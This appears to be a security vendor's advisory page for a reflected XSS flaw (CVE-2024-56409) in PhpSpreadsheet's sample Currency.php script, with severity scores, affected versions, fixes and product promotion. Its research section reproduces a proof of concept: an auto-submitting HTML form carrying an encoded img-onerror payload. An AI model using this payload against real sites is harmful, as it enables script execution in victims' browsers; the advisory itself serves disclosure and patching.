How severe is GHSA-j2xg-cjcx-4677?

GHSA-j2xg-cjcx-4677 has a CVSS score of 7.1/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-j2xg-cjcx-4677?

GHSA-j2xg-cjcx-4677 affects the following packages: phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpexcel (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-j2xg-cjcx-4677?

Update phpoffice/phpspreadsheet to 3.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j2xg-cjcx-4677 is resolved across your whole dependency graph.

How do I detect GHSA-j2xg-cjcx-4677 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-j2xg-cjcx-4677 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-j2xg-cjcx-4677?

O3 pinpoints whether GHSA-j2xg-cjcx-4677 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-j2xg-cjcx-4677 actively exploited in the wild?

No public exploit code has been indexed for GHSA-j2xg-cjcx-4677 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-j2xg-cjcx-4677?

GHSA-j2xg-cjcx-4677 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 23th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-j2xg-cjcx-4677 published, and has it been updated?

GHSA-j2xg-cjcx-4677 was published on January 3, 2025 and was last updated on March 6, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-j2xg-cjcx-4677

HIGH

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Also known asCVE-2024-56409

Published

Jan 3, 2025

Updated

Mar 6, 2025

Affected

5 pkgs

Patched

4 / 5

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk23th percentile-0.59%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

5 pkgs affected

🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Unauthorized Reflected XSS in `Currency.php` file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

fig9

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Affected Packages

5 total 4 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 3.0.0&&< 3.7.0	3.7.0
🐘Packagist	`phpoffice/phpspreadsheet`	all versions	1.29.7
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.0.0&&< 2.1.6	2.1.6
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.2.0&&< 2.3.5	2.3.5
🐘Packagist	`phpoffice/phpexcel`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 3.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j2xg-cjcx-4677 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j2xg-cjcx-4677 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-j2xg-cjcx-4677. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Unauthorized Reflected XSS in `Currency.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component*

O3 Security · Impact-Aware SCA

Is GHSA-j2xg-cjcx-4677 in your dependencies?

O3 detects GHSA-j2xg-cjcx-4677 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works